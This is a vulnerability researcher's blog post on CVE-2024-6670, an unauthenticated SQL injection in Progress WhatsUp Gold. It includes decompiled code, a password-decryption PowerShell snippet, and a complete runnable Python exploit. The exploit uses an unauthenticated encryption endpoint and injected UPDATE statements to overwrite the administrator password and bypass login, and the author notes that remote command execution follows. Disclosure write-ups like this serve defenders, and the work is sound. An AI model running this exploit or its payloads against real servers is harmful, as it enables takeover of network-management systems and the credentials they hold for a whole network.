Breaking Down Barriers: Exploiting Pre-Auth SQL Injection in WhatsUp Gold
CVE-2024-6670
TLDR
I discovered an unauthenticated SQL injection against the latest version of progress whatsup gold and turned it into a authentication bypass, after that the product by design allows you to achieve RCE (that part is up to you), lets talk about how this was possible
Manish Kishan Tanwar
If it wasn’t because of the motivation and lessons that my dear friend Manish has taught me over the years I have known him, I wouldn’t be able to exploit this bug, thank you my friend.
Introduction (yet another TLDR)
May 22nd I reported multiple SQL injection vulnerabilities to zeroday initiative and demonstrated how its possible to bypass the whatsup gold authentication and achieve remote code execution.
https://www.zerodayinitiative.com/advisories/ZDI-24-1185/
What is WhatsUp Gold
At the time, one of many definitions for this product on the vendor’s website is:
WhatsUp Gold provides complete visibility into the status and performance of applications, network devices and servers in the cloud or on-premises.
but I describe this as a legitimate C2 where you can manage all sorts of victims I mean end-users and have their credentials stored in this software to manage them remotely, for example:
- you can store the SMB creds that will be used to run powershell commands on any end-user computer machine you want
- you can store SSH creds to execute any command you want
- you can store Cisco switches/routers creds to run management commands remotely
- you can, you get the idea
there are multiple purposes for all of this is one is to be able to collect performance information from these endpoints apparently the other is to manage them remotely or as I’d like to say execute commands remotely, here we care about the exploitation and so that’s good enough information to know what things someone might be able to have once this software is popped which probably is your entire network of users/machines/switches/routers that you have added to this software.
Advanced .NET Exploitation
sponsor of today’s PoC drop is me, if you had a hard time understanding this blog post but like to learn about .NET Exploitation, I have recently made my Advanced .NET Exploitation Training public, sign up and let me teach you all you need about .net related vulnerabilities, from reverse engineering .net targets, finding .net related vulnerabilities, exploiting WCF (Windows communication foundation), complicated deserializations, lots of other clickbait titles and how to pop shellz on .net targets
The Vulnerability
The vulnerability is very simple, however, the exploitation is interesting, our starting point is the HasErrors
method, lets take it apart, it resides at the following path:
Whatsup.UI.dll!WhatsUp.UI.Areas.Platform.Controllers.PerformanceMonitorErrorsController.HasErrors()
it expects multiple arguments, One of these arguments is the classId
, which is used among other arguments to invoke the HasErrors
function
1: public ActionResult HasErrors(int deviceId, string classId, DateRange? range = null, int? n = null, DateTime? start = null, DateTime? end = null, int? businessHoursId = null)
2: {
3: PerformanceMonitorErrorLogReportParametersDto performanceMonitorErrorLogReportParametersDto = new PerformanceMonitorErrorLogReportParametersDto
4: {
5: DateRangeFilter = ReportParametersMapper.GetDateRangeFilterParameters(range, n, start, end),
6: DeviceFilter = ReportParametersMapper.GetDeviceFilterParameters(new int?(deviceId), new bool?(true), new bool?(false)),
7: BusinessHoursId = businessHoursId.GetValueOrDefault(),
8: ClassId = classId
9: };
10: return base.Json(this._perfMonErrorLogAppService.HasErrors(performanceMonitorErrorLogReportParametersDto), 0);
11: }
Using a debugger you notice you’ll be taken to an interface rather than the implementation at first, the interface is at:
Ipswitch.WhatsUp.Application.Contracts.dll
Ipswitch.WhatsUp.Application.Contracts.IPerformanceMonitorErrorLogAppService.HasErrors()
and it has been implemented at:
Ipswitch.WhatsUp.Infrastructure.Data.dll
Ipswitch.WhatsUp.Infrastructure.Data.DataAccessObjects.PerformanceMonitorErrorLogDao.HasErrors()
lets have a look at the implementation, the vulnerability is obvious, the classid
is being used to construct a SQL query without sanitization, leading to a vanilla SQL injection as one would expect from a sophisticated application
public bool HasErrors(DateTime start, DateTime end, BusinessHoursDto businessHours, int deviceId, string classId)
1: {
2: string text = string.Format(@"
SELECT TOP 1 SML.nStatisticalMonitorLogID
FROM StatisticalMonitorLog SML
INNER JOIN PivotStatisticalMonitorTypeToDevice P
ON SML.nPivotStatisticalMonitorTypeToDeviceID = P.nPivotStatisticalMonitorTypeToDeviceID
INNER JOIN StatisticalMonitorType SMT
ON SMT.nStatisticalMonitorTypeID = P.nStatisticalMonitorTypeID
WHERE dDateTime BETWEEN '{0}' AND '{1}' {2}
AND P.nDeviceID = {3}
AND SMT.nClsid = '{4}'", new object[]
3: {
4: start.ToString("yyyy-MM-dd HH:mm:ss"),
5: end.ToString("yyyy-MM-dd HH:mm:ss"),
6: this.GetBusinessHoursPredicate(businessHours),
7: deviceId,
8: classId
9: });
10: return this._whatsUpPlatformUnitOfWork.ExecuteStoreQuery<int>(text, Array.Empty<object>()).Count<int>() > 0;
11: }
Exploitation for Authentication Bypass
Usually one would use a SQL injection to retrieve/reset a high-privilege user password, other techniques might involve storing a payload in a certain column and trigger some functionality of the application to cause further impact because mostly data is sanitized when received from the user, and not when retrieved from the database, this could be triggering deserialization, code eval, command injection, etc
And since whatsupgold is usually deployed on a MSSQL instance, Other techniques might involve using xp_cmdshell to trigger command execution
After a while of looking for such primitives, I realized the xp_cmdshell
wasn’t possible due to the secure configuration of the database-user that whatsup gold was using, deserialization, and or using the data stored in the database wasn’t being misused as far as the unauthenticated functionalities were reachable.
So I decided to see if its possible to either retrieve or override the administrator-user password field, after all this would be very impactful if we can bypass the authentication
Quick look can reveal the table for the users
The password seems to be encrypted, I started looking for how the application retrieve’s and use the password, the search led me to look into the NmBusinessLayer.dll
library, specifically the following method
NmBusinessLayer.Api.Membership.UserManagementApi.GetPassword()
it appears that this function expects a username and then after retrieving the user entity from the users table, it will invoke a function named ConvertBytesToPassword
to convert the user password property to a text
1: public string GetPassword(string userName)
2: {
3: string text = null;
4: try
5: {
6: using (WhatsUpEntities whatsUpEntities = new WhatsUpEntities(this._dalConnectionString))
7: {
8: WebUser webUser = whatsUpEntities.WebUsers.Where((WebUser u) => u.sUserName == userName).FirstOrDefault<WebUser>();
9: if (webUser == null)
10: {
11: throw new UpdateException(string.Format("Error: User Name [{0}] could not be located in the database; GetPassword failed;", userName));
12: }
13: text = this.ConvertBytesToPassword(webUser.sPassword);
14: }
15: }
16: catch (Exception ex)
17: {
18: this._logger.Error(ex, "GetPassword userName={0};", new object[] { userName });
19: throw;
20: }
21: return text;
22: }
Lets have a quick look in the ConvertBytesToPassword
method, it calls the Aggregate function to format the password bytes into a certain comma separated format, and after that the CStr.DecryptString
function is executed
1: public string ConvertBytesToPassword(byte[] pwdBytes)
2: {
3: if (pwdBytes == null || !pwdBytes.Any<byte>())
4: {
5: return null;
6: }
7: return CStr.DecryptString(pwdBytes.Aggregate(string.Empty, (string current, byte next) => current + "," + next.ToString(CultureInfo.InvariantCulture)));
8: }
This function might look complicated at first but if you look at the first line of this function and analyze the CreateUtilityClass
call, you quickly understand what’s going on, the CreateUtilityClass
will create an instance of a COM object by using a CLSID and then pass the instance object to the caller which will invoke the DecryptString
method using this object as we saw earlier
1: private static object CreateUtilityClass()
2: {
3: return ComSupport.CreateInstance(new Guid("{26ED0DF9-CD55-43FC-8B86-908BD2684D3E}"));
4: }
5:
6:
7: public static string DecryptString(string sEncryptedString)
8: {
9: object obj = Str.CreateUtilityClass();
10: string text;
11: try
12: {
13: object obj2 = obj;
14: if (Str.<>o__1.<>p__1 == null)
15: {
16: Str.<>o__1.<>p__1 = CallSite<Func<CallSite, object, string>>.Create(Binder.Convert(CSharpBinderFlags.None, typeof(string), typeof(Str)));
17: }
18: Func<CallSite, object, string> target = Str.<>o__1.<>p__1.Target;
19: CallSite <>p__ = Str.<>o__1.<>p__1;
20: if (Str.<>o__1.<>p__0 == null)
21: {
22: Str.<>o__1.<>p__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.InvokeMember(CSharpBinderFlags.None, "DecryptString", null, typeof(Str), new CSharpArgumentInfo[]
23: {
24: CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
25: CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType, null)
26: }));
27: }
28: text = target(<>p__, Str.<>o__1.<>p__0.Target(Str.<>o__1.<>p__0, obj2, sEncryptedString));
29: }
30: finally
31: {
32: Str.FreeUtilityClass(obj);
33: }
34: return text;
35: }
So lets quicly find who is behind the CLSID, I use OleView .NET from James forshaw to look for this CLSID
It appears it has been defined inside the CoreAsp.dll
, we started analyzing this library and quickly realized the logic for the decryption is actually implemented in a imported function
the actual implementation for the function can be found at Core.dll
I started analyzing the CStr::DecryptString
and immediately noticed this function will call the standard win32 CryptAcquireContextA
to acquire a handle to a CSP (cryptographic service provider) and it will pass this acquired handle to the CStr::_GenerateKey
for key generation
int __cdecl CStr::DecryptString(CIoBase *phProv, int a2)
{
[..SNIP..]
v17 = 0;
v31 = 0;
v2 = phProv;
(*(void (__thiscall **)(CIoBase *, _DWORD, _DWORD))(*(_DWORD *)phProv + 32))(phProv, 0, 0);
(*(void (__thiscall **)(CIoBase *, int *, int))(*(_DWORD *)v2 + 16))(v2, &v31, 4);
if ( v31 != 2 && v31 != 3 )
{
phProv = 0;
hKey = 0;
v30 = 0;
v34 = 6;
if ( ((__int64 (__thiscall *)(CIoBase *))*(_DWORD *)(*(_DWORD *)v2 + 28))(v2) )
{
v3 = 1;
if ( !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0)
&& !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 8u)
&& !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0x20u)
&& !CryptAcquireContextA((HCRYPTPROV *)&phProv, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1u, 0x28u) )
{
v23 = 1;
CxxThrowException(&v23, (_ThrowInfo *)&_TI1H);
}
if ( !CStr::_GenerateKey((HCRYPTPROV)phProv, &hKey) )
{
pExceptionObject = 1;
CxxThrowException(&pExceptionObject, (_ThrowInfo *)&_TI1H);
}
the CStr::_GenerateKey
contained multiple usages of static keys, some hilarious
I decided to use the CLSID to invoke the “DecryptString” method
$type = [Type]::GetTypeFromCLSID("{26ED0DF9-CD55-43FC-8B86-908BD2684D3E}")
$object = [Activator]::CreateInstance($type)
$res = $object.DecryptString("3, 0, 0, 0, 16, 0, 0, 0, 225, 170, 243, 1, 30, 22, 52, 155, 93, 230, 135, 190, 85, 37, 135, 89")
echo "Decrypted password -> $res"
echo "Decrypted password -> $res"
Decrypted password -> Aa123456
I was able to decrypt the password easily, however analyzing the decryption process further, shows that although some hard-coded values have been used for the crypto APIs, there are some values that are unique to each installation and this made the decryption inconsistent, meaning the call to this DecryptString method on one machine can decrypt a password that was generated on the same machine and not another installation instance. so if we use the SQL injection to extract/overwrite the password this plan would fail, an unfortunate story, right?
well not exactly, I decided to look more into the application, I had an idea that what “IF” there is a way I can encrypt something using the application in an unauthenticated manner? after all, we got nothing to lose but time and to my surprise the answer to this “IF” turned to be yes
So how does the unauthenticated password encrypt primitive works? basically the following DLL has a method which any unauthenticated user can send a POST request to
C:\Program Files (x86)\Ipswitch\WhatsUp\html\NM.UI\bin\extensions\WUG\Wug.UI.dll
Following is the method name
Wug.UI.Controllers.WugSystemAppSettingsController.JMXSecurity()
this method expects a JSON body containing 2 key members, where their values will be be encrypted by the application and get stored in the database, the encryption is done using the CStr.EncryptString
which performs the same operation of using the CLSID to make a call to Core.Asp.dll
which then will make a call to the native CStr::EncryptString
inside Core.dll
and returns the encrypted value
once the encryption is done, this method will save the encrypted value by calling the GlobalSettings.SetSetting
method, this method simply updates a database table which contains the application global configuration
1: public ActionResult JMXSecurity(JMXSecuritySettingsViewModel vm)
2: {
3: if (base.ModelState.IsValid)
4: {
5: string text = CStr.EncryptString(vm.KeyStorePassword);
6: GlobalSettings.SetSetting("_GLOBAL_:JavaKeyStorePwd", text);
7: text = CStr.EncryptString(vm.TrustStorePassword);
8: GlobalSettings.SetSetting("_GLOBAL_:JavaTrustStorePwd", text);
9: if (WugSystemAppSettingsController.<>o__2.<>p__0 == null)
10: {
11: WugSystemAppSettingsController.<>o__2.<>p__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof(WugSystemAppSettingsController), new CSharpArgumentInfo[]
12: {
13: CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, null),
14: CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, null)
15: }));
16: }
17: WugSystemAppSettingsController.<>o__2.<>p__0.Target(WugSystemAppSettingsController.<>o__2.<>p__0, base.ViewBag, "SSL Settings Successfully Saved");
18: }
19: return base.View("JMXSecurity", vm);
20: }
the encrypted data is stored in the GlobalSettings
table, specifically the _GLOBAL_:JavaTrustStorePwd
or _GLOBAL_:JavaKeyStorePwd
entries, this table has the settings of the application, we can use this endpoint to encrypt any known value and have it stored in that table
here is the JSON definition for the expected data
public class JMXSecuritySettingsViewModel
{
public string KeyStorePassword { get; set; }
public string TrustStorePassword { get; set; }
}
This is perfect, having the application to encrypt any data we want and store it in a different table so we can later reuse this encrypted value via our SQL injection primitive to update another column inside another table that is the administrator password field, that’s cool I guess
So here is how the final attack flow works in a nutshell
Proof of Concept
you can find the exploit at the following github repository
"""
Progress Software WhatsUp Gold HasErrors SQL Injection Authentication Bypass Vulnerability (CVE-2024-6670)
Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)
Special Thanks to my dear friend Manish Kishan Tanwar @indishell1046
Technical details: https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/
"""
banner = r"""
_______ _ _ _______ _______ _____ __ _ _____ __ _ ______ _______ _______ _______ _______
|______ | | | | | | | | | | | \ | | | \ | | ____ | |______ |_____| | | |
______| |_____| | | | | | | |_____| | \_| __|__ | \_| |_____| . | |______ | | | | |
(*) Progress Software WhatsUp Gold HasErrors SQL Injection Authentication Bypass Vulnerability (CVE-2024-6670)
(*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam), shoutout to @indishell1046
(*) Technical details: https://summoning.team/blog/progress-whatsup-gold-sqli-cve-2024-6670/
"""
""""""
import urllib3
urllib3.disable_warnings()
import requests
import argparse
print(banner)
parser = argparse.ArgumentParser()
parser.add_argument('--target-url', '-t', dest='target_url', help="target url (e.g: https://192.168.1.1)", required=True)
parser.add_argument('--newpassword', '-n', dest='newpassword', help="new password to set for the administrator", required=True)
args = parser.parse_args()
args.target_url = args.target_url.rstrip("/")
def send_exploit(payload):
# psssst, I left a ton of IoCs, use them wisely
final_payload = f"DF215E10-8BD4-4401-B2DC-99BB03135F2E';{payload};--"
_json = {"deviceId":"22222","classId":final_payload,"range":"1","n":"1","start":"3","end":"4","businesdsHoursId":"5"}
requests.post(f"{args.target_url}/NmConsole/Platform/PerformanceMonitorErrors/HasErrors", json=_json, verify=False)
def retrieve_result():
res = requests.get(f"{args.target_url}/NmConsole/Platform/Filter/AlertCenterItemsReportThresholds", verify=False)
if(res.status_code != 200):
print("(!) exitting now because something wen't wrong when requesting the route /NmConsole/Platform/Filter/AlertCenterItemsReportThresholds")
exit()
for item in res.json():
if("psyduck" in item["DisplayName"]):
return item['DisplayName'].replace('psyduck','')
def convert_to_varbinary(input_str):
byte_values = input_str.split(',')
hex_values = [format(int(value), '02X') for value in byte_values]
hex_string = ''.join(hex_values)
varbinary_string = '0x' + hex_string
return varbinary_string
def encrypt_password_primitive(new_password):
_json = {"KeyStorePassword":new_password, "TrustStorePassword":new_password}
res = requests.post(f"{args.target_url}/NmConsole/WugSystemAppSettings/JMXSecurity", json=_json, verify=False)
print("[*] Used remote primitive to encrypt our passowrd")
print("[^_^] Starting the exploit...")
encrypt_password_primitive(args.newpassword)
target_user = 'admin'
encrypted_password_exfil_payload = "UPDATE ProActiveAlert SET sAlertName='psyduck'+( SELECT sValue FROM GlobalSettings WHERE sName = '_GLOBAL_:JavaKeyStorePwd')"
send_exploit(encrypted_password_exfil_payload)
encrypted_password = retrieve_result()
encrypted_password = convert_to_varbinary(encrypted_password)
print(f"[*] encrypted password extracted -> " + encrypted_password)
update_password_payload = f"UPDATE WebUser SET sPassword = {encrypted_password} where sUserName = '{target_user}'"
send_exploit(update_password_payload)
print(f"[+] Exploit finished, you can now login using the username -> {target_user} and password -> {args.newpassword}")
IoC
I tried to have the PoC riddled with IoCs, so just read it and you know what to look for
ZERO DAY INITIATIVE
As always, If it wasn’t because of the talented team working at the Zero Day Initiative, I wouldn’t bother researching Progress at all, shout out to all of you people working there to make the internet safer.